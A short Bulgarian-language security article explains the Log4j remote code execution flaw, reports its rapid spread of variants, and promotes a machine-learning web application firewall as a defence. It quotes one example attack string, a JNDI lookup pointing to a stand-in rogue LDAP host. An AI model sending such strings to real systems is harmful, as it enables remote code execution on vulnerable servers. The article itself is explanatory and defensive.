Нова уязвимост и предпоставка за пробиви в системите на организациите

Уязвимостта е свързана с начина по който log request-ire се обработват от процесора log4j. Ако нападателят изпрати специално създаден (съдържащ стринг като ${jndi:ldap://rogueldapserver.com/a}), това може да доведе до зареждане на външен клас код и изпълнение на този код, водещо до Remote Code Execution (RCE). Това може да нанесе големи щети върху ИТ инфраструктурата.

Повечето известни към момента екплойти, ползващи тази уязвимост са насочени към crypto mining, но уязвимостта има потенциала да бъде и отворена врата към вътрешни системи и чувствителни данни.

Броят на различните вариации на оригиналната уязвимост достигна над 60 само за 24 часа, което дава на нападателите много алтернативи за заобикаляне на съществуващи защити и реално възползване от уязвимостта.

Това означава, че съществуващите защити е необходимо най-малкото да се проверят и съответно да се надградят, за да могат да са адекватни и срещу тази уязвимост.

Както става ясно от препоръките от Computer Emergency Response Team (GovCERT) of the Swiss government за минимизиране на рисковете първата и най-логична защита би била Web Application Firewall.

Работа вършат WAF решения, които „се учат“ бързо, за да могат да бъдат ефективни на оптимално ниво. Такава технология е advanced WAF, комбинираща силата на machine learning и threat intelligence.